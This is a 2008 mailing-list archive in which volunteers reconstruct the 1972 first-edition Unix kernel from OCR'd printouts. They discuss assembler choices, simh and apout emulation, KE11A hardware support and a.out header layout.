From newsham at lava.net Thu May 1 03:38:58 2008 From: newsham at lava.net (Tim Newsham) Date: Wed, 30 Apr 2008 07:38:58 -1000 (HST) Subject: [Unix-jun72] ocr'd e03 In-Reply-To: <3018.1209560511@mini> References: <3018.1209560511@mini> Message-ID: > I'm new to this (just discovered it - way cool!), so as an experiment I > opened the scanned pdf and cut and pasted e03-01,02,03,04 into gimp, > shrunk them to 3000x3000 and sent them to the tesseract web site. It > does an amazing job. A little emacs work and the source looks good. > > Anyway, I know e03 is assigned to someone else, but they where not in > the svn. should I check them in? (I just did it as an experiment, and > I don't want to step on anyone;) yes, please. I'll drop a note to the person this was assigned to and start talkign to current assignees who havent yet had a chance to do work to see if any of it should be reclaimed. > I'm also curious how we boot strap this. In the end I assume we need a > binary image which one of the sims can read. I have 0.5 a mind to write > a quick and dirty assembler which outputs a binary file... It seems like we can build this using the V7 assembler, or an earlier one such as the "as" in the 1972 bits that are around, using the apout emulator. I'm probably going to stick with the V7 assembler for now due to the "mount" issues I ran across in the 1972 assembler. For quick and dirty bootstrapping I was thinking of writing out a simh script with a bunch of "deposit" commands to put the image directly in memory. At some point later we can figure out if it would be possible to reconstruct the original boot process (documented in the 1ed manuals). > But I suppose it would be better to use the original as/as2. Can this > be run with apout? (I'd be curious to hear how people are doing it). Yup. I've already tried it on some of the completed sections. The one problem I ran across is that the "ux" section defines "mount" as a label where the 1972 "as" predefines the "mount" system call. This problem doesnt exist in the 7ed assembler because it doesnt predefine the system calls. So I wrote up a "sys.s" (in svn) with the system call definitions and I left out the definition for "mount" (which isnt referenced in the kernel code). > I'm happy to keep plugging through the remaining un-ocr'd pages if no > one screams, sending email first of course. Great. I'll poke at current assignees to see which section would be most appropriate. > -brad Tim Newsham http://www.thenewsh.com/~newsham/ From brad at heeltoe.com Thu May 1 04:49:49 2008 From: brad at heeltoe.com (Brad Parker) Date: Wed, 30 Apr 2008 14:49:49 -0400 Subject: [Unix-jun72] ocr'd e03 In-Reply-To: References: <3018.1209560511@mini> Message-ID: <10921.1209581389@mini> I checked in the missing pages from e3, e4 and e8. I have not tried to assemble them yet. Looks like e1 has a few missing pages at the end but my "free time" is gone for the day. I'll try and fire up the v7 as later on. -brad From newsham at lava.net Thu May 1 05:24:50 2008 From: newsham at lava.net (Tim Newsham) Date: Wed, 30 Apr 2008 09:24:50 -1000 (HST) Subject: [Unix-jun72] ocr'd e03 In-Reply-To: <10901.1209581283@mini> References: <3018.1209560511@mini> <10901.1209581283@mini> Message-ID: > Can you show me how you are running it? (and feel free to cc the list) (I think its mentioned in an earlier post already). I copy the files to my 7ed system (make a tar, put it on a tape image, and attach it in simh, then tar x to get contents). Probably easier if you're using apout and local filesystem... I'm using the following script (in my tools but not checked in because I'm using nonstandard conv2): tools/rebuild (cd rebuilt; gtar -O -cf ../u.tar u?.s) ./conv2 -o tape.tm u.tar cp tape.tm ~/work/simh/unix-v7-4/run/ Anyway to assemble I run: as - sys.s u0.s u1.s ux.s btw, I noticed some unicode characters in the files you committed. I havent' had a chance to spend time editing it yet.. The ocr often uses unicode for things like "-". > I think there is a binary format. I think I figured it out once and > wrote something to turn an a.out into it. hmmm. I'll go digging. a.out is so simple, it wouldnt be hard to reproduce if we had to. > I checked in the missing pages from e3, e4 and e8. I have not tried > to assemble them yet, however. I noticed that. Thank you. > -brad Tim Newsham http://www.thenewsh.com/~newsham/ From Hellwig.Geisse at mni.fh-giessen.de Thu May 1 05:19:27 2008 From: Hellwig.Geisse at mni.fh-giessen.de (Hellwig Geisse) Date: Wed, 30 Apr 2008 21:19:27 +0200 Subject: [Unix-jun72] ocr'd e03 In-Reply-To: <10921.1209581389@mini> References: <3018.1209560511@mini> <10921.1209581389@mini> Message-ID: <1209583167.5140.955.camel@papa> On Wed, 2008-04-30 at 14:49 -0400, Brad Parker wrote: > I checked in the missing pages from e3, e4 and e8. I have not tried > to assemble them yet. Please forgive me, but I think it is not a brilliant idea to check-in pages which obviously haven't been proof-read. Especially typoes in the comments will not even been noticed by the assembler. > Looks like e1 has a few missing pages at the end but my "free time" is > gone for the day. Yes, these are part of my batch and will be submitted when I had time to check them. Hellwig From newsham at lava.net Thu May 1 05:52:22 2008 From: newsham at lava.net (Tim Newsham) Date: Wed, 30 Apr 2008 09:52:22 -1000 (HST) Subject: [Unix-jun72] ocr'd e03 In-Reply-To: <1209583167.5140.955.camel@papa> References: <3018.1209560511@mini> <10921.1209581389@mini> <1209583167.5140.955.camel@papa> Message-ID: > Please forgive me, but I think it is not a brilliant > idea to check-in pages which obviously haven't been > proof-read. Especially typoes in the comments will > not even been noticed by the assembler. I think it is fine as long as they are not marked as having been reviewed yet. Other people can assist in the review process if the imperfect files are in the SVN. Hopefully by the end of this process every file will have been reviewed by the original author and at least one other person on a line-by-line basis. > Hellwig Tim Newsham http://www.thenewsh.com/~newsham/ From aek at bitsavers.org Thu May 1 06:26:06 2008 From: aek at bitsavers.org (Al Kossow) Date: Wed, 30 Apr 2008 13:26:06 -0700 Subject: [Unix-jun72] Mar 72 kernel subroutine description In-Reply-To: References: <3018.1209560511@mini> Message-ID: <4818D5DE.8000609@bitsavers.org> The hand-written subroutine description document is now up as http://bitsavers.org/pdf/bellLabs/unix/Kernel_Subroutine_Descriptions_Mar72.pdf From brad at heeltoe.com Thu May 1 06:43:55 2008 From: brad at heeltoe.com (Brad Parker) Date: Wed, 30 Apr 2008 16:43:55 -0400 Subject: [Unix-jun72] ocr'd e03 In-Reply-To: References: <3018.1209560511@mini> <10901.1209581283@mini> Message-ID: <14113.1209588235@mini> Tim Newsham wrote: >> Can you show me how you are running it? (and feel free to cc the list) > >(I think its mentioned in an earlier post already). I copy the >files to my 7ed system (make a tar, put it on a tape image, and >attach it in simh, then tar x to get contents). Probably easier Interesting. and authentic! :-) I am too lazy and used apout with a v7 tree. I used this script: #!/bin/sh export APOUT_ROOT=/backup/raid2/pdp11/v7 H=`pwd` R=./rebuilt W="$R/u0.s $R/u1.s $R/u2.s $R/u3.s $R/u4.s $R/u5.s $R/u6.s $R/u7.s $R/u8.s $R/u9.s" apout /backup/raid2/pdp11/v7/bin/as ./sys1.s $W $R/ux.s Which seems to work pretty well. >btw, I noticed some unicode characters in the files you committed. yes, sorry. I think just committed fixed for all of them. >The ocr often uses unicode for things like "-". Yes, that's exactly what it did. Took me a bit to figure that out since they look very similar. I also did a bunch of clean up of existing pages (probably should wait for someone to review them but what the heck). Mostly simple ocr errors. I'm not sure we need to define the system traps; some (like mkdir) collide. I turned off the def for now. Also, some of the registers for math (mq, ac) don't seem to be defined by the v7 as. Not sure how that works to be honest (fp & mult are beyond my pdp-11 knowledge). It's closer now. Still some editing to be done and some missing pages, but closer. -brad Brad Parker Heeltoe Consulting +1-781-483-3101 http://www.heeltoe.com From brad at heeltoe.com Thu May 1 06:48:40 2008 From: brad at heeltoe.com (Brad Parker) Date: Wed, 30 Apr 2008 16:48:40 -0400 Subject: [Unix-jun72] Mar 72 kernel subroutine description In-Reply-To: <4818D5DE.8000609@bitsavers.org> References: <3018.1209560511@mini> <4818D5DE.8000609@bitsavers.org> Message-ID: <14276.1209588520@mini> Al Kossow wrote: >The hand-written subroutine description document is now >up as >http://bitsavers.org/pdf/bellLabs/unix/Kernel_Subroutine_Descriptions_Mar72.pd >f Wow. That's an amazing document. Someone one from Bell Labs? -brad From aek at bitsavers.org Thu May 1 08:46:48 2008 From: aek at bitsavers.org (Al Kossow) Date: Wed, 30 Apr 2008 15:46:48 -0700 Subject: [Unix-jun72] Unix_Users_Talk_Notes_Jan73 Message-ID: <4818F6D8.8080301@bitsavers.org> Notes from the Jan 73 unix internals talk http://bitsavers.org/pdf/bellLabs/unix/Unix_Users_Talk_Notes_Jan73.pdf From brad at heeltoe.com Thu May 1 10:59:13 2008 From: brad at heeltoe.com (Brad Parker) Date: Wed, 30 Apr 2008 20:59:13 -0400 Subject: [Unix-jun72] more edits Message-ID: <18029.1209603553@mini> I went through all the errors on the code checked in so far and made edits consistent (I hope :-) with the pdf. I also added the missing KE11A addresses (memory mapped EAE). The remaining errors seem to be only due to missing pages. -brad From wkt at tuhs.org Thu May 1 16:05:07 2008 From: wkt at tuhs.org (Warren Toomey) Date: Thu, 1 May 2008 16:05:07 +1000 Subject: [Unix-jun72] Fwd: Trying to restore 1972 UNIX Message-ID: <20080501060507.GB36969@minnie.tuhs.org> Guys, I got this message from Dennis. Warren ----- Forwarded message from Dennis Ritchie ----- Subject: Re: Trying to restore 1972 UNIX Date: Thu, 1 May 2008 00:55:35 -0400 About the assembler, I am pretty sure that it's substantially the same as that on the 5th edition tape, so it's likely that a modified version, without the syscall definitions, could be produced. I have dug up another listing of the PDP-11 assembly languge version, which seems to about contemporary with the one you have. The files mostly bear a copyright date of 1972, but like other printouts from the time, the datestamps only give month and day, not year. They are generally from May. It is post 11/45, and has segmentation and floating-point support. Incidentally, it doesn't use any of the system call names as such; 'read' is at sysread: and so on. About assembling it, I'm pretty sure we just did 'as u?.s' and the a.out was ready. This was before make, after all. Dennis ----- End forwarded message ----- I replied and asked if we could get either a scan copy of the "other listing", or if he could send a photocopy to Tim. Cheers, Warren From jam at magic.com Thu May 1 17:40:29 2008 From: jam at magic.com (James A. Markevitch) Date: Thu, 1 May 2008 00:40:29 -0700 (PDT) Subject: [Unix-jun72] Update on UNIX V1 OCR Message-ID: <200805010740.AAA12754@mist.magic.com> I got a chance to do some work on the UNIX V1 sources this evening. I took the output of my OCR software and with a couple of hours of editing, it successfully assembles with a MACRO11 assembler modified for "as" syntax, with the only exception being that "fpsym" is undefined. It looks like the floating point emulation code is missing. Since this OCR is independent of the other work that has been done, a diff should provide an opportunity to fix any errors in the comments that would not have been caught by the assembler. Is there a place to upload this without a Google account? The assembler listing is about 416K. I wrote much of the bootstrap code a few weeks ago, so it ought to be straightforward to get this up and running under simulation. James Markevitch From jam at magic.com Thu May 1 17:52:25 2008 From: jam at magic.com (James A. Markevitch) Date: Thu, 1 May 2008 00:52:25 -0700 (PDT) Subject: [Unix-jun72] Fwd: Trying to restore 1972 UNIX Message-ID: <200805010752.AAA12784@mist.magic.com> > I have dug up another listing of the PDP-11 assembly languge > version, which seems to about contemporary with the > one you have. The files mostly bear a copyright date > of 1972, but like other printouts from the time, > the datestamps only give month and day, not year. > They are generally from May. It is post 11/45, > and has segmentation and floating-point support. Very cool! (fpsym, presumably) > I replied and asked if we could get either a scan copy of the "other listing", > or if he could send a photocopy to Tim. As usual, the key is a high resolution, high quality scan. There is a huge difference between 300dpi and 400dpi/600dpi for this old stuff, since the signal to noise ratio is much better with the better scans. This sounds like a broken record, but there was a 1200 page listing were the first 400 pages were at 300dpi and the remaining 800 pages were at 400dpi. When you zoomed in, the differences were astounding and the OCR results reflected that (the person needed to do a lot of editing on the first third of the document to get it to compile). If someone can get me a hardcopy, I'll scan it at 600dpi, as I am sure Al would, if Tim isn't set up to scan stuff like this. James Markevitch From brad at heeltoe.com Thu May 1 20:46:38 2008 From: brad at heeltoe.com (Brad Parker) Date: Thu, 01 May 2008 06:46:38 -0400 Subject: [Unix-jun72] Update on UNIX V1 OCR In-Reply-To: <200805010740.AAA12754@mist.magic.com> References: <200805010740.AAA12754@mist.magic.com> Message-ID: <23840.1209638798@mini> "James A. Markevitch" wrote: > >Since this OCR is independent of the other work that has been done, a >diff should provide an opportunity to fix any errors in the comments >that would not have been caught by the assembler. > >Is there a place to upload this without a Google account? The assembler >listing is about 416K. If you email me a tar file (or zip) I can put it on my website. I can receive email up to about 10mb. If it's larger than that I can set up with an ftp account. I'd also be happy to write a script to diff the files. >I wrote much of the bootstrap code a few weeks ago, so it ought to be >straightforward to get this up and running under simulation. yes - I found a program I wrote a while back which takes an a.out and turns it into a simh "load format". With that it's pretty easy to load and go in simh. The v1 man pages explain the "bos" load setup and give the rf bootstrap code. It should be pretty easy to boot up a "cold" version which preps the RF. I'm not sure about loading the file system from dectape however, but who knows, even that might be possible. -brad From Hellwig.Geisse at mni.fh-giessen.de Thu May 1 22:35:18 2008 From: Hellwig.Geisse at mni.fh-giessen.de (Hellwig Geisse) Date: Thu, 01 May 2008 14:35:18 +0200 Subject: [Unix-jun72] svn changes? Message-ID: <1209645318.5140.974.camel@papa> Has anything changed regarding read access to the svn repository? My client answered svn: PROPFIND request failed on '/svn/trunk' svn: PROPFIND of '/svn/trunk': 502 Bad Gateway (http://unix-jun72.googlecode.com) when I wanted to do a regular 'svn update' command. Hellwig From brad at heeltoe.com Thu May 1 22:54:22 2008 From: brad at heeltoe.com (Brad Parker) Date: Thu, 01 May 2008 08:54:22 -0400 Subject: [Unix-jun72] svn changes? In-Reply-To: <1209645318.5140.974.camel@papa> References: <1209645318.5140.974.camel@papa> Message-ID: <26098.1209646462@mini> Hellwig Geisse wrote: >Has anything changed regarding read access >to the svn repository? My client answered > >svn: PROPFIND request failed on '/svn/trunk' >svn: PROPFIND of '/svn/trunk': 502 Bad Gateway >(http://unix-jun72.googlecode.com) > >when I wanted to do a regular 'svn update' >command. I found the same thing. I assumed it was a transient error from google. It seems to have cleared now. -brad From brad at heeltoe.com Thu May 1 23:04:42 2008 From: brad at heeltoe.com (Brad Parker) Date: Thu, 01 May 2008 09:04:42 -0400 Subject: [Unix-jun72] svn changes? In-Reply-To: <26098.1209646462@mini> References: <1209645318.5140.974.camel@papa> <26098.1209646462@mini> Message-ID: <26275.1209647082@mini> Just for fun I took the latest svn, assembled it with the v7 as and ran it through my "a.out -> simh load file" converter. It runs until it hits the first instruction which touches a KE11A EAE register. That fails and it panics (takes an exception since there's nothing there on the unibus) Via email I asked Tim about EAE support in simh, since apout has it and the code claims he added it to simh, but I can't find it. I could try e11, but I'd prefer to use simh. -brad From Hellwig.Geisse at mni.fh-giessen.de Thu May 1 23:32:33 2008 From: Hellwig.Geisse at mni.fh-giessen.de (Hellwig Geisse) Date: Thu, 01 May 2008 15:32:33 +0200 Subject: [Unix-jun72] svn changes? In-Reply-To: <26098.1209646462@mini> References: <1209645318.5140.974.camel@papa> <26098.1209646462@mini> Message-ID: <1209648754.5140.977.camel@papa> On Thu, 2008-05-01 at 08:54 -0400, Brad Parker wrote: > I found the same thing. I assumed it was a transient > error from google. > > It seems to have cleared now. Yes, it was transient; all is well again. Thanks for the info. Hellwig From Hellwig.Geisse at mni.fh-giessen.de Fri May 2 00:25:01 2008 From: Hellwig.Geisse at mni.fh-giessen.de (Hellwig Geisse) Date: Thu, 01 May 2008 16:25:01 +0200 Subject: [Unix-jun72] svn changes? In-Reply-To: <26275.1209647082@mini> References: <1209645318.5140.974.camel@papa> <26098.1209646462@mini> <26275.1209647082@mini> Message-ID: <1209651902.5140.981.camel@papa> On Thu, 2008-05-01 at 09:04 -0400, Brad Parker wrote: > Via email I asked Tim about EAE support in simh, since apout has it and > the code claims he added it to simh, but I can't find it. Wasn't this called the "EIS" option? If I remember well, simh enabled that by default if you choose the CPU to be an 11/40. Hellwig From brad at heeltoe.com Fri May 2 00:41:35 2008 From: brad at heeltoe.com (Brad Parker) Date: Thu, 01 May 2008 10:41:35 -0400 Subject: [Unix-jun72] svn changes? In-Reply-To: <1209651902.5140.981.camel@papa> References: <1209645318.5140.974.camel@papa> <26098.1209646462@mini> <26275.1209647082@mini> <1209651902.5140.981.camel@papa> Message-ID: <27771.1209652895@mini> Hellwig Geisse wrote: >On Thu, 2008-05-01 at 09:04 -0400, Brad Parker wrote: >> Via email I asked Tim about EAE support in simh, since apout has it and >> the code claims he added it to simh, but I can't find it. > >Wasn't this called the "EIS" option? If I remember >well, simh enabled that by default if you choose the >CPU to be an 11/40. I think EIS is similar in function but not the same. We need the KE11A, which maps some registers into the unibus space. It performs some of the same functions as EIS, but in a different way - it does not extend the instruction space like EIS does. I may be wrong, but that is my understanding. EIS is supported, as is the FP instructions and CIS, but I can't find any code which pretends to be a KE11A in simh. It's definitely in apout. -brad From milov at uwlax.edu Fri May 2 01:31:58 2008 From: milov at uwlax.edu (Milo Velimirovic) Date: Thu, 1 May 2008 10:31:58 -0500 Subject: [Unix-jun72] svn changes? In-Reply-To: <1209651902.5140.981.camel@papa> References: <1209645318.5140.974.camel@papa> <26098.1209646462@mini> <26275.1209647082@mini> <1209651902.5140.981.camel@papa> Message-ID: On May 1, 2008, at 9:25 AM, Hellwig Geisse wrote: > On Thu, 2008-05-01 at 09:04 -0400, Brad Parker wrote: >> Via email I asked Tim about EAE support in simh, since apout has it >> and >> the code claims he added it to simh, but I can't find it. > > Wasn't this called the "EIS" option? If I remember > well, simh enabled that by default if you choose the > CPU to be an 11/40. No... EIS is not the same as EAE, though simh does include EIS in its 11/40 configuration. From memory: EAE is the "Extended Arithmetic Element" which provided multiply, divide and shift capabilities through registers in the I/O space. See Dennis Ritchie's "Odd Comments and Strange Doings in Unix" the pertinent item is "A hardware story" at the the end of the document, cached here: (It seems the link provided by Google to dmr's website is down...) EIS is the Extended Instruction Set, which on the pdp11/40 (and lsi11) went hand in hand with FIS, the Floating Instruction Set. See a pdp11 processor handbook for all the details. -- Milo Velimirović, Unix Computer Network Administrator 608.785.6618 Office - 608.386.2817 Cell University of Wisconsin - La Crosse La Crosse, Wisconsin 54601 USA 43 48 48 N 91 13 53 W From Hellwig.Geisse at mni.fh-giessen.de Fri May 2 01:56:26 2008 From: Hellwig.Geisse at mni.fh-giessen.de (Hellwig Geisse) Date: Thu, 01 May 2008 17:56:26 +0200 Subject: [Unix-jun72] svn changes? In-Reply-To: References: <1209645318.5140.974.camel@papa> <26098.1209646462@mini> <26275.1209647082@mini> <1209651902.5140.981.camel@papa> Message-ID: <1209657386.5140.988.camel@papa> On Thu, 2008-05-01 at 10:31 -0500, Milo Velimirovic wrote: > See a pdp11 processor handbook for all the details. I have an 11/40 processor handbook available, so I have good documentation of the EIS option. What I'm lacking is equally good information on the EAE... Do you have a link? Hellwig From brad at heeltoe.com Fri May 2 02:09:54 2008 From: brad at heeltoe.com (Brad Parker) Date: Thu, 01 May 2008 12:09:54 -0400 Subject: [Unix-jun72] more corrections Message-ID: <29658.1209658194@mini> I made some more minor corrections; turns out the commands in e00-01 around "4;4" are wrong, those lines are needed or the IOT dispatch vector ends up in the wrong place. I suspect, in the end, most of the "hand written" corrections should ignored. Right now the svn runs and ends up in the idle loop. It dispatches the first system call (sys exec). I'm not 100% sure but I think it works. (still some missing pages but I don't think the code hits them yet) Not sure why it stops in the idle loop; maybe missing hardware. I had to add KE11A support to simh; I mostly copied the code from apout. I'll put a tar file on my web site with the modified simh source. -brad From jam at magic.com Fri May 2 02:36:42 2008 From: jam at magic.com (James A. Markevitch) Date: Thu, 1 May 2008 09:36:42 -0700 (PDT) Subject: [Unix-jun72] Update on UNIX V1 OCR Message-ID: <200805011636.JAA15648@mist.magic.com> > >Since this OCR is independent of the other work that has been done, a > >diff should provide an opportunity to fix any errors in the comments > >that would not have been caught by the assembler. > > > >Is there a place to upload this without a Google account? The assembler > >listing is about 416K. > > If you email me a tar file (or zip) I can put it on my website. I can > receive email up to about 10mb. If it's larger than that I can set up > with an ftp account. A compressed .tar.gz won't be very large. I can send it along when I get home late this evening. It's got 100% of the kernel source pages, so it should be able to fill in any holes. > I'd also be happy to write a script to diff the files. "diff -b" works fine, as does tkdiff :-). James Markevitch From tfb at tfeb.org Fri May 2 02:23:06 2008 From: tfb at tfeb.org (Tim Bradshaw) Date: Thu, 1 May 2008 17:23:06 +0100 Subject: [Unix-jun72] ocr'd e03 In-Reply-To: References: <3018.1209560511@mini> Message-ID: <8B81EC5E-A625-4485-81BB-85C481CB67B9@tfeb.org> On 30 Apr 2008, at 18:38, Tim Newsham wrote: > > yes, please. I'll drop a note to the person this was assigned to > and start talkign to current assignees who havent yet had a chance > to do work to see if any of it should be reclaimed. FWIW that was me, and clearly was rash to agree given I have no time and/or am lazy. Sorry! --tim From aek at bitsavers.org Fri May 2 02:57:07 2008 From: aek at bitsavers.org (Al Kossow) Date: Thu, 01 May 2008 09:57:07 -0700 Subject: [Unix-jun72] svn changes? In-Reply-To: <1209657386.5140.988.camel@papa> References: <1209645318.5140.974.camel@papa> <26098.1209646462@mini> <26275.1209647082@mini> <1209651902.5140.981.camel@papa> <1209657386.5140.988.camel@papa> Message-ID: <4819F663.2020902@bitsavers.org> Hellwig Geisse wrote: > What I'm lacking is equally good information > on the EAE... EAE was a unibus option. I'll see if I have anything scanned on it. From newsham at lava.net Fri May 2 03:03:48 2008 From: newsham at lava.net (Tim Newsham) Date: Thu, 1 May 2008 07:03:48 -1000 (HST) Subject: [Unix-jun72] more corrections In-Reply-To: <29658.1209658194@mini> References: <29658.1209658194@mini> Message-ID: > I made some more minor corrections; turns out the commands in e00-01 > around "4;4" are wrong, those lines are needed or the IOT dispatch > vector ends up in the wrong place. > > I suspect, in the end, most of the "hand written" corrections should > ignored. I'm suspecting the opposite.. I went through all of the comments in notes.txt about hand written corrections and read through the code to see if they make sense or not and it seems like all of the corrections did make sense in the code and the original code that they replaced did not. I updated the code to reflect this and added comments to the notes file. btw, there are still a bunch of unresolved symbols in the low address vector tables.. I took a look at the assembly memory dump last night (and also committed code in tools to convert the a.out to a bunch of simh deposit commands). > I had to add KE11A support to simh; I mostly copied the code from > apout. This discussion of hardware is making me wonder -- does this nail down the hardware? The 1ed manuals mention tht they ran on a 24kbyte pdp 11/20, but that they were eying an 11/45. My reading of the code was making me lean towards the original 11/20 configuration, but it sounds like some of these features might be present in the 11/40 or 11/45? > I'll put a tar file on my web site with the modified simh source. speaking of modifying simh, we may have to map one of the similar serial devices in at the dc11 address to support ttys. simh doesn't support the DC-11, but when I asked on the simh mailing list someone mentioned that one of the existing devices is very similar with less support for modem control lines. > -brad Tim Newsham http://www.thenewsh.com/~newsham/ From newsham at lava.net Fri May 2 03:10:10 2008 From: newsham at lava.net (Tim Newsham) Date: Thu, 1 May 2008 07:10:10 -1000 (HST) Subject: [Unix-jun72] more corrections In-Reply-To: <29658.1209658194@mini> References: <29658.1209658194@mini> Message-ID: > I made some more minor corrections; turns out the commands in e00-01 > around "4;4" are wrong, those lines are needed or the IOT dispatch > vector ends up in the wrong place. Hmm.. those "/" comment characters are definitely not hand written in. There are hand written comments that state what address things should land at. I'm a bit confused how this could happen with those comment characters in place, though, so removing them does sound like its the right thing to do. By the way, you removed the leading comment characters but did not add comment characters after the entry but before the text comments that follow them. ie: "4;4 init by copy" should be "4;4 / init by copy". > -brad Tim Newsham http://www.thenewsh.com/~newsham/ From aek at bitsavers.org Fri May 2 03:10:43 2008 From: aek at bitsavers.org (Al Kossow) Date: Thu, 01 May 2008 10:10:43 -0700 Subject: [Unix-jun72] more corrections In-Reply-To: References: <29658.1209658194@mini> Message-ID: <4819F993.4030007@bitsavers.org> Tim Newsham wrote: > This discussion of hardware is making me wonder -- does this nail down > the hardware? The 1ed manuals mention tht they ran on a 24kbyte > pdp 11/20, but that they were eying an 11/45. My reading of the code > was making me lean towards the original 11/20 configuration, but it > sounds like some of these features might be present in the 11/40 or > 11/45? Use of EAE is HIGHLY unlikely on anything after the 11/20. There was a better solution (EIS) for the 11/40 and forward. The note for the Jan 73 talk mentions they were still working on writing the 11/45 version, which puts the release well after the code you're working with. Still looking for EAE docs. May have to scan an 11/20 handbook to get it. From brad at heeltoe.com Fri May 2 03:19:13 2008 From: brad at heeltoe.com (Brad Parker) Date: Thu, 01 May 2008 13:19:13 -0400 Subject: [Unix-jun72] more corrections In-Reply-To: References: <29658.1209658194@mini> Message-ID: <30873.1209662353@mini> Tim Newsham wrote: >> I made some more minor corrections; turns out the commands in e00-01 >> around "4;4" are wrong, those lines are needed or the IOT dispatch >> vector ends up in the wrong place. >> >> I suspect, in the end, most of the "hand written" corrections should >> ignored. > >I'm suspecting the opposite.. I went through all of the comments in >notes.txt about hand written corrections and read through the code to >see if they make sense or not and it seems like all of the corrections >did make sense in the code and the original code that they replaced >did not. I updated the code to reflect this and added comments to >the notes file. Ok, I may well be confused. Before I took the comments the IOT vector was zero. After I removed them the IOT vector (34) was correct. Perhaps the code wants to be loaded at 014 instead of 0. I put the comments back in - I'll try changing where I load. >btw, there are still a bunch of unresolved symbols in the low address >vector tables.. I thought only fpsym was undefined in those vectors. >> I had to add KE11A support to simh; I mostly copied the code from >> apout. > >This discussion of hardware is making me wonder -- does this nail down >the hardware? The 1ed manuals mention tht they ran on a 24kbyte >pdp 11/20, but that they were eying an 11/45. My reading of the code >was making me lean towards the original 11/20 configuration, but it >sounds like some of these features might be present in the 11/40 or >11/45? I sure looks like they used an 11/20 with a KE11A board. >speaking of modifying simh, we may have to map one of the similar >serial devices in at the dc11 address to support ttys. simh doesn't >support the DC-11, but when I asked on the simh mailing list someone >mentioned that one of the existing devices is very similar with >less support for modem control lines. I can do that. Are there docs on the DC-11? -brad From brad at heeltoe.com Fri May 2 03:22:53 2008 From: brad at heeltoe.com (Brad Parker) Date: Thu, 01 May 2008 13:22:53 -0400 Subject: [Unix-jun72] more corrections In-Reply-To: References: <29658.1209658194@mini> Message-ID: <30972.1209662573@mini> Tim Newsham wrote: >> I made some more minor corrections; turns out the commands in e00-01 >> around "4;4" are wrong, those lines are needed or the IOT dispatch >> vector ends up in the wrong place. > >Hmm.. those "/" comment characters are definitely not hand written >in. There are hand written comments that state what address things >should land at. I'm a bit confused how this could happen with >those comment characters in place, though, so removing them does >sound like its the right thing to do. now you've convinced me it's not :-) I wonder... hmmm. if the V1 a.out header where 12 bytes long, then everything would just automagically work. The v7 a.out header is 16 bytes long; but could the v1 a.out header have been 12 bytes long? -brad From jam at magic.com Fri May 2 03:44:38 2008 From: jam at magic.com (James A. Markevitch) Date: Thu, 1 May 2008 10:44:38 -0700 (PDT) Subject: [Unix-jun72] more corrections Message-ID: <200805011744.KAA15939@mist.magic.com> > I wonder... hmmm. if the V1 a.out header where 12 bytes long, then > everything would just automagically work. If you look at sysexec, you will see that the "magic number" for the a.out header is 000405. That is an instruction that jumps over the first 12 bytes. James Markevitch From brad at heeltoe.com Fri May 2 03:47:33 2008 From: brad at heeltoe.com (Brad Parker) Date: Thu, 01 May 2008 13:47:33 -0400 Subject: [Unix-jun72] more corrections In-Reply-To: References: <29658.1209658194@mini> <30972.1209662573@mini> Message-ID: <31410.1209664053@mini> Tim Newsham wrote: >> I wonder... hmmm. if the V1 a.out header where 12 bytes long, then >> everything would just automagically work. > >The 1ed man pages are online. I looked at them and it said that the >header consists of 6 words, but that the text length included the >header size. However, I had to skip the first 16 bytes of the >text segment (including header) to line up the various labels in >u0.s (.=orig+100, .=orig+200, etc..) yes, I think 0405 and 0407 a.out's are different. I believe the V7 headers are 16 bytes and the text section starts at zero. (heh, memory management) The v1 headers are 12 bytes and the text section starts at 014 (i.e. the header is part of the text section and *it* begins at zero, not the code) So, if we assemble with the v7 as we need to adjust things a bit. -brad From newsham at lava.net Fri May 2 03:54:29 2008 From: newsham at lava.net (Tim Newsham) Date: Thu, 1 May 2008 07:54:29 -1000 (HST) Subject: [Unix-jun72] more corrections In-Reply-To: <31410.1209664053@mini> References: <29658.1209658194@mini> <30972.1209662573@mini> <31410.1209664053@mini> Message-ID: On Thu, 1 May 2008, Brad Parker wrote: > I believe the V7 headers are 16 bytes and the text section starts at zero. > (heh, memory management) > > The v1 headers are 12 bytes and the text section starts at 014 (i.e. the > header is part of the text section and *it* begins at zero, not the code) > > So, if we assemble with the v7 as we need to adjust things a bit. Ahh, that makes sense. So if we build with the 1ed "as" then those first few lines should be commented out since they will be occupied by the a.out header. Ahh! yess, it makes sense, e00-02 has a section at orig+400 "copy in transfer fectors" where those vectors are overwritten during startup. We really should try building with the 1ed assembler. I think a simple sed s/mount/xmount/ over the whole sources will probably fix the mount label issue. > -brad Tim Newsham http://www.thenewsh.com/~newsham/ From newsham at lava.net Fri May 2 04:15:14 2008 From: newsham at lava.net (Tim Newsham) Date: Thu, 1 May 2008 08:15:14 -1000 (HST) Subject: [Unix-jun72] more corrections In-Reply-To: References: <29658.1209658194@mini> <30972.1209662573@mini> <31410.1209664053@mini> Message-ID: > Ahh, that makes sense. So if we build with the 1ed "as" then those > first few lines should be commented out since they will be occupied > by the a.out header. Ahh! yess, it makes sense, e00-02 has > a section at orig+400 "copy in transfer fectors" where those > vectors are overwritten during startup. > > We really should try building with the 1ed assembler. I think a simple > sed s/mount/xmount/ over the whole sources will probably fix the mount > label issue. I adjusted my tools/dumpaout.py appropriately and tested with the 1ed assembler. If you sed all the files to s/mount/xmount/ it builds just fine with 1ed "as" and the a.out header is indeed 6 bytes long and is included in the text segment... Everything is lining up.. So, I think those comment characters belong in the u0 sources, although will have to be removed when compiling with a more recent assembler. Tim Newsham http://www.thenewsh.com/~newsham/ From newsham at lava.net Fri May 2 04:21:17 2008 From: newsham at lava.net (Tim Newsham) Date: Thu, 1 May 2008 08:21:17 -1000 (HST) Subject: [Unix-jun72] more corrections In-Reply-To: References: <29658.1209658194@mini> <30972.1209662573@mini> <31410.1209664053@mini> Message-ID: > I adjusted my tools/dumpaout.py appropriately and tested with the 1ed > assembler. If you sed all the files to s/mount/xmount/ it builds just > fine with 1ed "as" and the a.out header is indeed 6 bytes long and > is included in the text segment... Everything is lining up.. added tools/assem which builds using the 1ed "as". Tim Newsham http://www.thenewsh.com/~newsham/ From newsham at lava.net Fri May 2 04:34:10 2008 From: newsham at lava.net (Tim Newsham) Date: Thu, 1 May 2008 08:34:10 -1000 (HST) Subject: [Unix-jun72] more corrections In-Reply-To: References: <29658.1209658194@mini> <30972.1209662573@mini> <31410.1209664053@mini> Message-ID: > I adjusted my tools/dumpaout.py appropriately and tested with the 1ed > assembler. If you sed all the files to s/mount/xmount/ it builds just > fine with 1ed "as" and the a.out header is indeed 6 bytes long and > is included in the text segment... Everything is lining up.. ugh, I was wrong.. it was not lining up! The 1ed "as" is also using a 16-byte header. This together with the "mount" 